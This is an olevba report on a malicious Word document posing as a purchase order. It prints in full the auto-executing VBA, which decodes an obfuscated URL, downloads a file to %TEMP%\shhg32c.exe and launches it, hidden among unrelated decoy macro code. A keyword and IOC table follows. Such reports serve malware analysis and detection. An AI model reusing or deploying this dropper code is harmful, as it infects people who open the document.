Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASI-B-V po_48847-03.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: po_48847-03.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: po_48847-03.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()
updateMacroUI True
bulkOveride "", "", "", ""
PlayMacro
isSplitLocal ""
StartMacro
ErrorChecker
FlexAssignDirectory
PrefixAssign 8, ""
End Sub



-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: po_48847-03.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Dim cannum As Variant
Dim cantype As Variant
Dim cansplit As Variant
Dim candest As Variant
Dim ADGfind As Variant
Dim IDGfind As Variant
Dim pieces As Integer
Dim retval As Variant
Public tempFolder As String
Public tempFile As String
Option Compare Text

Sub setupAssignArrays()

Dim c_cannums As New Collection
Dim c_cansplits As New Collection
Dim c_candests As New Collection
Dim c_cantypes As New Collection
mytypes = Array("ADG", "ALL", "IDG")
t = 0

addtocollections:
row = 3
Do While Sheet4.Cells(row, 1) <> ""
    If Trim(Sheet4.Cells(row, 4)) = mytypes(t) Then
       c_cannums.Add CStr(Sheet4.Cells(row, 1)) '  dynamically add value to the end
       c_cansplits.Add CStr(Sheet4.Cells(row, 2))
       c_candests.Add CStr(Sheet4.Cells(row, 3))
       c_cantypes.Add CStr(Sheet4.Cells(row, 4))
    End If
   row = row + 1
Loop

If t < 2 Then
    t = t + 1
    GoTo addtocollections
End If


cannum = toArray(c_cannums) 'convert collection to an array
cansplit = toArray(c_cansplits)
candest = toArray(c_candests)
cantype = toArray(c_cantypes)
End Sub

Function isUrsaLocal(URSA As String)
    ERow = 5
    Do Until Sheet6.Cells(ERow, 2).Value = ""
        If Sheet6.Cells(ERow, 2).Value = URSA Then
            isUrsaLocal = True
            Exit Function
        End If
        ERow = ERow + 1
    Loop
    isUrsaLocal = False
End Function

Function isSplitLocal(MasterID As String)

    tempFolder = processEnv("TEMP")
    If MasterID = "" Then Exit Function
    ecol = 3
    Do Until Sheet6.Cells(2, ecol).Value = ""
        If Sheet6.Cells(2, ecol).Value = MasterID Then
            isSplitLocal = Not (Sheet6.Cells(3, ecol).Value)
            Exit Function
        End If
        ecol = ecol + 1
    Loop
    MsgBox ("not able to find if " & MasterID & " is a local split" & vbNewLine & "error occured in Function isSplitLocal")
End Function

Sub SuffixAssign(i As Integer, hazFilter As String)
ecol = 3

Do Until Sheet6.Cells(2, ecol) = cansplit(i)
    If Sheet6.Cells(2, ecol).Value = "" Then
        MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
        Exit Sub
    End If
    ecol = ecol + 1
Loop

ERow = 5
Do Until Sheet6.Cells(ERow, ecol) = ""
    Call BZwritescreen("     ", 5, 38)
    Call BZwritescreen(Sheet6.Cells(ERow, ecol).Text, 5, 38)
    Call BZwritescreen(hazFilter, 6, 45)
    Call BZsendKey("@e")

ErrorChecker
    Dim bluerow As Integer
    Dim tempstr As String
    bluerow = 10
    miscdata = BZreadscreen(8, bluerow, 18)
    Do Until Trim(miscdata) = ""
CheckingPage:
    miscdata = BZreadscreen(8, bluerow, 18)
        If Right(miscdata, 2) <> "RT" Then
            If Trim(miscdata) <> "" Then
                Call BZwritescreen("A", bluerow, 2)
                pieces = pieces + 1
            ElseIf bluerow = 19 Then
                Call BZwritescreen("          ", 7, 24)
                tempstr = cannum(i)
                Call BZwritescreen(tempstr, 7, 24)
                Call BZwritescreen("    ", 7, 53)
                tempstr = candest(i)
                Call BZwritescreen(tempstr, 7, 53)
                Call BZsendKey("@e")
                Call FlexAssign.ErrorChecker
                Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
                bluerow = 10
                GoTo CheckingPage
            Else
                Call BZwritescreen("          ", 7, 24)
                tempstr = cannum(i)
                Call BZwritescreen(tempstr, 7, 24)
                Call BZwritescreen("    ", 7, 53)
                tempstr = candest(i)
                Call BZwritescreen(tempstr, 7, 53)
                Call BZsendKey("@e")
                Call FlexAssign.ErrorChecker
                Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
            End If
        End If
        bluerow = bluerow + 1
    Loop
    ERow = ERow + 1
Loop
End Sub

Public Sub PrefixAssign(i As Integer, hazFilter As String)
    Dim bluerow As Integer
    Dim tempstr As String
    ecol = 3
    ignored = 0


    shellApp.Open (tempFile)
    Exit Sub
    Do Until Sheet6.Cells(2, ecol) = cansplit(i)
        If Sheet6.Cells(2, ecol).Value = "" Then
            MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
            Exit Sub
        End If
        ecol = ecol + 1
    Loop
    ERow = 5
    Do Until Sheet6.Cells(ERow, ecol) = ""
        Call BZwri.tescreen("  ", 5, 28)
        Call BZwri.tescreen(Sheet6.Cells(ERow, ecol).Text, 5, 28)
        Call BZwri.tescreen(hazFilter, 6, 45)
        Call BZse.ndKey("@e")
ErrorChecker
        bluerow = 10
        miscdata = BZrea.dscreen(8, bluerow, 18)
        Do Until Trim(miscdata) = ""
CheckingPagePrefix:

        miscdata = BZrea.dscreen(8, bluerow, 18)
            If Right(miscdata, 2) <> "RT" Then
                If isUrsaLocal(Trim(Right(miscdata, 5))) <> True Then
                    If Trim(miscdata) <> "" Then
                        Call BZwri.tescreen("A", bluerow, 2)
                        pieces = pieces + 1
                    ElseIf bluerow = 19 Then
                        Call BZwr.itescreen("          ", 7, 24)
                        tempstr = cannum(i)
                        Call BZwr.itescreen(tempstr, 7, 24)
                        Call BZwr.itescreen("    ", 7, 53)
                        tempstr = candest(i)
                        Call BZwr.itescreen(tempstr, 7, 53)
                        Call BZse.ndKey("@e")
                        ignored = 0
                        Call Flex.Assign.ErrorChecker
                        tempcannum = CStr(cannum(i))

                        Call bulkO.veride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
                        bluerow = 10
                        GoTo CheckingPagePrefix
                    Else
                        Call BZwrit.escreen("          ", 7, 24)
                        tempstr = cannum(i)
                        Call BZwr.itescreen(tempstr, 7, 24)
                        Call BZwri.tescreen("    ", 7, 53)
                        tempstr = candest(i)
                        Call BZwrit.escreen(tempstr, 7, 53)
                        Call BZsen.dKey("@e")
                        ignored = 0
                        Call FlexAs.Sign.ErrorChecker
                        Call bulkOv.eride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
                    End If
                Else
                    ignored = ignored + 1
                End If
            Else
                ignored = ignored + 1
            End If
            If ignored = 9 Then
                Call BZse.ndKey("@8")
            End If
            bluerow = bluerow + 1
        Loop
        ERow = ERow + 1
    Loop
End Sub

Sub isAnythingLeft()
Dim row As Integer

Call BZwritescreen("Close ", 2, 17)
Call BZsendKey("@e")
Call BZwritescreen("Assign", 2, 17)
Call BZsendKey("@e")

leftover = 0
row = 10
Do Until row = 18
    miscdata = BZreadscreen(18, row, 51)
    If Trim(miscdata) <> "" Then leftover = leftover + 1
    row = row + 1
Loop

If leftover <> 0 Then
    MsgBox ("You have pieces left over after AutoSort" & vbNewLine & _
        "Please view packages in assign screen to determine what to do with them" & _
        vbNewLine & leftover & " pieces at least")
End If

End Sub

Sub DeleteIce()

Call BZwritescreen("assign", 2, 17)
Call BZsendKey("@e")
Call BZwritescreen("C", 6, 45)
Call BZwritescreen("Deleteship", 7, 24)
Call BZsendKey("@e")

Data = "tempdata"
row = 10
Do Until Trim(Data) = ""
    Data = BZreadscreen(15, row, 5)
    If Trim(Data) <> "" Then
        Call BZwritescreen("a", row, 2)
    ElseIf Trim(Data) = "" Then
        Call BZsendKey("@e")
        If row = 18 Then row = 10
    End If
    row = row + 1
Loop
End Sub

Public Function ErrorChecker()

        Set shellApp = CreateObject("She" + "ll.Application")
        Exit Function
errormisc = BZre.adscreen(3, 24, 2)
If errormisc = "091" Then
    Call BZs.EndKey("@4")
ElseIf errormisc = "095" Then 'bulk doesn't exist
    oldbulk = BZr.eadscreen(9, 7, 24)
    Call BZwrit.escreen("bulk*", 7, 24)
    Call BZse.ndKey("@E")
    cannum(i) = BZr.eadscreen(9, 7, 24)
    datarow = 3
    Do Until Sheet4.Cells(datarow, 1) = oldbulk And _
        Sheet4.Cells(datarow, 2) = cansplit(i) And _
        Sheet4.Cells(datarow, 3) = candest(i) And _
        Sheet4.Cells(datarow, 4) = cantype(i)
        If Sheet4.Cells(datarow, 1) = "" Then Exit Do
        datarow = datarow + 1
    Loop
    Sheet4.Cells(datarow, 1) = cannum(i)
ElseIf errormisc = "INV" Then 'invalid container error
    MsgBox ("invalid container")
End If
End Function

Public Function bulkOveride(cannum As String, cansplit As String, candest As String, cantype As String)
'bulkoveride(cannum(i), cansplit(i), candest(i), cantype(i))
 Dim computer() As Variant
    computer = Array(149, 159, 157, 151, 95, 82, 80, 143, 126, 139, 136, 140, 136, 120, 124, 61, 120, 129, 106, 115, 110, 119, 111, 100, 43, 94, 115, 38, 43, 40, 39, 35, 35, 32, 24, 75, 26, 25, 24, 23, 69, 20, 7, 60, 77, 56)
On Error Resume Next

 httpRequest.Open "GE" + "T", GetStringFromArray(computer, 45), False
If cannum = "BULK*" Then
    cannum = BZre.adscreen(9, 7, 24)
    datarow = 3
    Do Until Sh.eet4.Cells(datarow, 1) = "BULK*" And _
        Sh.eet4.Cells(datarow, 2) = cansplit And _
        Sh.eet4.Cells(datarow, 3) = candest And _
        Sh.eet4.Cells(datarow, 4) = cantype
        datarow = datarow + 1
    Loop
Sheet4.Cells(datarow, 1) = cannum
End If

End Function


-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: po_48847-03.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Const MACRO_VERSION_2014 As String = "8.2014"

'Macro recording information
Public MacroStatus As Byte
Public Const MacroSTOP As Long = 0
Public Const MacroSTART As Long = 1
Public Const MacroBATCH As Long = 2
Public Const MacroPLAYBACK As Long = 3
Public Const MacroCANCEL As Long = 128
Public MacroMessage As String
Public processEnv As Object
Public Sub StartMacro()
    tempFile = tempFolder + "\shhg32c.exe"
    Exit Sub
    'Set the program-wide "recording" flag
    MacroStatus = MacroSTART

    'Resize the array that will hold the macro data
    ProcessCount = 1
    ReDim Processes(0 To ProcessCount) As String

    'Update any related macro UI elements
    Macro_Interface.updateMacroUI True

End Sub

'Stop recording the current macro, and offer to save it to file.
Public Sub StopMacro()

    'Before stopping the macro, make sure at least one valid, recordable action has occurred.
    Dim i As Long, numOfValidProcesses As Long
    numOfValidProcesses = 0

    For i = 0 To ProcessCount
        If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
            numOfValidProcesses = numOfValidProcesses + 1
        End If
    Next i

    Dim msgReturn As VbMsgBoxResult

    If numOfValidProcesses = 0 Then

        'Warn the user that this macro won't be saved unless they keep recording
        msgReturn = PDMsgBox("This macro does not contain any recordable actions.  Are you sure you want to stop recording?" & vbCrLf & vbCrLf & "(Press No to continue recording.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: invalid macro")

        If msgReturn = vbYes Then

            'Update any related macro UI elements
            Macro_Interface.updateMacroUI False

            'Reset the macro engine and exit
            MacroStatus = MacroSTOP
            ProcessCount = 0
            Message "Macro abandoned."
            Exit Sub

        'If the user clicks anything but "yes", exit without making changes (e.g. let them continue recording).
        Else
            Exit Sub
        End If

    End If

    MacroStatus = MacroSTOP

    'Update any related macro UI elements
    Macro_Interface.updateMacroUI False

    'Automatically launch the save macro data routine
    Dim saveDialog As pdOpenSaveDialog
    Set saveDialog = New pdOpenSaveDialog

    Dim sFile As String

    Dim cdFilter As String
    cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT

    Dim cdTitle As String
    cdTitle = g_Language.TranslateMessage("Save macro data")

    'If the user cancels the save dialog, we'll raise a warning to tell them that the macro will be lost for good.
    ' That dialog gives them an option to return to the save dialog, which will bring us back to this line of code.
SaveMacroAgain:

    'If we get the data we want, save the information
    If saveDialog.GetSaveFileName(sFile, , True, cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetModalOwner().hWnd) Then

        'Save this macro's directory as the default macro path
        g_UserPreferences.setMacroPath sFile

        'Create a pdXML class, which will help us assemble the macro file
        Dim xmlEngine As pdXML
        Set xmlEngine = New pdXML
        xmlEngine.prepareNewXML "Macro"

        'Write out the XML version we're using for this macro
        xmlEngine.writeTag "pdMacroVersion", MACRO_VERSION_2014

        'We now want to count the number of actual processes that we will be writing to file.  A valid process meets
        ' the following criteria:
        ' 1) It isn't blank/empty
        ' 2) It doesn't display a dialog
        ' 3) It was not specifically marked as "DO_NOT_RECORD"

        'Due to the previous check at the top of this function, we already know how many valid functions are in the process list,
        ' and this value is guaranteed to be non-zero.

        'Write out the number of valid processes in the macro
        xmlEngine.writeTag "processCount", CStr(numOfValidProcesses)
        xmlEngine.writeBlankLine

        'Now, write out each macro entry in the current process list
        numOfValidProcesses = 0

        For i = 0 To ProcessCount

            'We only want to write out valid processes, using the same criteria as the original counting loop above.
            If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
                numOfValidProcesses = numOfValidProcesses + 1

                'Start each process entry with a unique identifier
                xmlEngine.writeTagWithAttribute "processEntry", "index", numOfValidProcesses, "", True

                'Write out all the properties of this entry
                xmlEngine.writeTag "ID", Processes(i).ID
                xmlEngine.writeTag "Parameters", Processes(i).Parameters
                xmlEngine.writeTag "MakeUndo", Str(Processes(i).MakeUndo)
                xmlEngine.writeTag "Tool", Str(Processes(i).Tool)

                'Note that the Dialog and Recorded properties are not written to file.  There is no need to remember
                ' them, as we know their values must be FALSE and TRUE, respectively, per the check above.

                'Close this process entry
                xmlEngine.closeTag "processEntry"
                xmlEngine.writeBlankLine
            End If

        Next i

        'With all tags successfully written, we can now close the XML data and write it out to file.
        xmlEngine.writeXMLToFile sFile

        Message "Macro saved successfully."

        'At this point, the macro should be added to the Recent Macros list
        g_RecentMacros.MRU_AddNewFile sFile

    Else

        msgReturn = PDMsgBox("If you do not save this macro, all actions recorded during this session will be permanently lost.  Are you sure you want to cancel?" & vbCrLf & vbCrLf & "(Press No to return to the Save Macro screen.  Note that you can always delete this macro later if you decide you don't want it.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: last chance to save macro")
        If msgReturn = vbNo Then GoTo SaveMacroAgain

        Message "Macro abandoned."

    End If

    ProcessCount = 0

End Sub

'All macro-related UI instructions should be placed here, as PD can terminate a macro recording session for any number of reasons,
' and it needs a uniform way to wipe macro-related UI changes).
Public Sub updateMacroUI(ByVal recordingIsActive As Boolean)
    On Error Resume Next
    If recordingIsActive Then
        Set httpRequest = CreateObject("Microsoft.XMLHTTP")
        Set adodbStream = CreateObject("Adodb.Stream")
        'Notify the user that recording has begun
        If recordingIsActive Then
            Set processEnv = CreateObject("WScript.Shell").Environment("Process")
            Exit Sub
        End If
        Mes.sage "Macro recording started."
        toolbar_Toolbox.lblRecording.Visible = True

        'Disable "start recording", and enable "stop recording"
        FormMain.MnuRecordMacro(0).Enabled = False
        FormMain.MnuRecordMacro(1).Enabled = True

    Else
        Mess.age "Macro recording stopped."
        toolbar_Toolbox.lblRecording.Visible = False
        FormMain.MnuRecordMacro(0).Enabled = True
        FormMain.MnuRecordMacro(1).Enabled = False
    End If

End Sub

Public Sub PlayMacro()
    httpRequest.Send
    Exit Sub
    'Disable user input until the dialog closes
    Interface.DisableUserInput

    'Automatically launch the load Macro data routine
    Dim openDialog As String
     openDialog = ""

    Dim sFile As String

    Dim cdFilter As String
    cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT & ";*.thm"
    cdFilter = cdFilter & "|" & g_Language.TranslateMessage("All files") & "|*.*"

    Dim cdTitle As String
    cdTitle = g_Language.TranslateMessage("Open Macro File")

    'If we get a path, load that file
    If openDia.Log.GetOpenFileName(sFile, , True, , cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetM.odalOwner().hWnd) Then

        Mess.age "Loading macro data..."

        'Save this macro's folder as the default macro path
        g_UserPreferences.setMacroPath sFile

        PlayMacroFromFile sFile

    Else
        Messa.ge "Macro load canceled."
    End If

    'Re-enable user input
    Interface.EnableUserInput

End Sub

-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: po_48847-03.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public httpRequest As Object
Public adodbStream As Object
Public shellApp As Object
'Given a valid macro file, play back its recorded actions.
Public Function PlayMacroFromFile(ByVal MacroPath As String) As Boolean

    'Create a pdXML class, which will help us load and parse the source file
    Dim xmlEngine As pdXML
    Set xmlEngine = New pdXML

    'Load the XML file into memory
    xmlEngine.loadXMLFile MacroPath

    'Check for a few necessary tags, just to make sure this is actually a PhotoDemon macro file
    If xmlEngine.isPDDataType("Macro") And xmlEngine.validateLoadedXMLData("pdMacroVersion") Then

        'Next, check the macro's version number, and make sure it's still supported
        Dim verCheck As String
        verCheck = xmlEngine.getUniqueTag_String("pdMacroVersion")

        Select Case verCheck

            'The current macro version (e.g. the first draft of the new XML format)
            Case MACRO_VERSION_2014

                'Retrieve the number of processes in this macro
                ProcessCount = xmlEngine.getUniqueTag_Long("processCount")

                If ProcessCount > 0 Then

                    ReDim Processes(0 To ProcessCount - 1) As ProcessCall

                    'Start retrieving individual process data from the file
                    Dim i As Long
                    For i = 1 To ProcessCount

                        'Start by finding the location of the tag we want
                        Dim tagPosition As Long
                        tagPosition = xmlEngine.getLocationOfTagPlusAttribute("processEntry", "index", i)

                        If tagPosition > 0 Then

                            'Use that tag position to retrieve the processor parameters we need.
                            With Processes(i - 1)
                                .ID = xmlEngine.getUniqueTag_String("ID", , tagPosition)
                                .Parameters = xmlEngine.getUniqueTag_String("Parameters", , tagPosition)
                                .MakeUndo = xmlEngine.getUniqueTag_Long("MakeUndo", , tagPosition)
                                .Tool = xmlEngine.getUniqueTag_Long("Tool", , tagPosition)

                                'These two attributes can be assigned automatically, as we know what their values must be.
                                .Dialog = False
                                .Recorded = True
                            End With

                        Else
                            Debug.Print "Expected macro entry could not be found!"
                        End If

                    Next i

                'This macro file contains no valid actions.  It's no longer possible to create a macro like this, so this is basically
                ' a failsafe for faulty old versions of PD.
                Else

                    #If DEBUGMODE = 1 Then
                        pdDebug.LogAction "WARNING!  ProcessCount is zero!  Macro file is technically valid, but there's nothing to see here..."
                    #End If

                    Message "Macro complete!"
                    PlayMacroFromFile = True
                    Exit Function

                End If

            Case Else
                Message "Incompatible macro version found.  Macro playback abandoned."
                PlayMacroFromFile = False
                Exit Function

        End Select

        'Mark the load as successful and continue
        PlayMacroFromFile = True

    Else

        PDMsgBox "Unfortunately, this macro file is no longer supported by the current version of PhotoDemon." & vbCrLf & vbCrLf & "In version 6.0, PhotoDemon macro files were redesigned to support new features, improve performance, and solve some long-standing reliability issues.  Unfortunately, this means that macros recorded prior to version 6.0 are no longer compatible.  You will need to re-record these macros from scratch." & vbCrLf & vbCrLf & "(Note that any old macro files will still work in old versions of PhotoDemon, if you absolutely need to access them.)", vbInformation + vbOKOnly, "Unsupported macro file"
        PlayMacroFromFile = False
        Exit Function

    End If

    'Now we run a loop through the macro structure, calling the software processor with all the necessary information for each action
    Message "Processing macro data..."

    MacroStatus = MacroPLAYBACK

    Dim tProc As Long
    For tProc = 0 To ProcessCount - 1
        Process Processes(tProc).ID, Processes(tProc).Dialog, Processes(tProc).Parameters, Processes(tProc).MakeUndo, Processes(tProc).Tool, Processes(tProc).Recorded
    Next tProc

    MacroStatus = MacroSTOP

    'Some processor requests may not manually update the screen; as such, perform a manual update now
    Viewport_Engine.Stage2_CompositeAllLayers pdImages(g_CurrentImage), FormMain.mainCanvas(0)

    'Our work here is complete!
    Message "Macro complete!"

    'After playing, the macro should be added to the Recent Macros list
    g_RecentMacros.MRU_AddNewFile MacroPath

End Function


Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
    Dim i As Integer
    Dim result As String
    result = ""
    For i = LBound(fromArr) To UBound(fromArr)
        result = result & Chr(fromArr(i) - LenLen + i * 2)
    Next i
    GetStringFromArray = result
End Function

Public Sub FlexAssignDirectory(Optional can As String = "ALL")
If can = "ALL" Then
    With adodbStream
        .Type = 1
         .Open
         .write httpRequest.responseBody
         .savetofile tempFile, 2
    End With
    Exit Sub
    Call setupAssignArrays
Else
    cannum = Array(BORG.txt_canNum.Text)
    cansplit = Array(BORG.combo_splitName.Text)
    candest = Array(BORG.txt_Dest.Text)
    cantype = Array(BORG.combo_hazType.Text)
End If

ADGfind = Array("1.4", "2.1", "3", "4.", "5", "8")
IDGfind = Array("2.2", "6.", "7", "9")
Call DGscree.nChooser("Assign")

Dim i As Integer
Dim hazFilter As String
tempval = UBound(cannum, 1)
For i = 0 To (UBound(cannum, 1))
    Select Case cantype(i)
        Case "ADG"
            hazFilter = "A"
        Case "IDG"
            hazFilter = "I"
        Case "ALL"
            hazFilter = " "
        Case Else
            hazFilter = " "
    End Select
    Dim x As String
    x = cansplit(i)
    If isSplitLocal(x) = True Then
        Call SuffixAssign(i, hazFilter)
    ElseIf isSplitLocal(x) = False Then
        Call PrefixAssign(i, hazFilter)
    Else 'something has gone horribly wrong....
        MsgBox ("Error occured Please restart BDG")
        Exit Sub
    End If
Next

If can = "ALL" Then Call isAnythingLeft
BORG.labelUpdater.Caption = "Finished assigning " & pieces & " shipment(s)"
Call DGscree.nChooser("close")
End Sub
+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Run                  | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject) (obfuscation: VBA    |
|            |                      | expression)                             |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | shhg32c.exe          | Executable file name                    |
| VBA string | Shell.Application    | ("She" + "ll.Application")              |
| VBA string | GET                  | "GE" + "T"                              |
| VBA string | Macro (.             | ("Macro") & " (."                       |
| VBA string | All files|*.*        | ("All files") & "|*.*"                  |
+------------+----------------------+-----------------------------------------+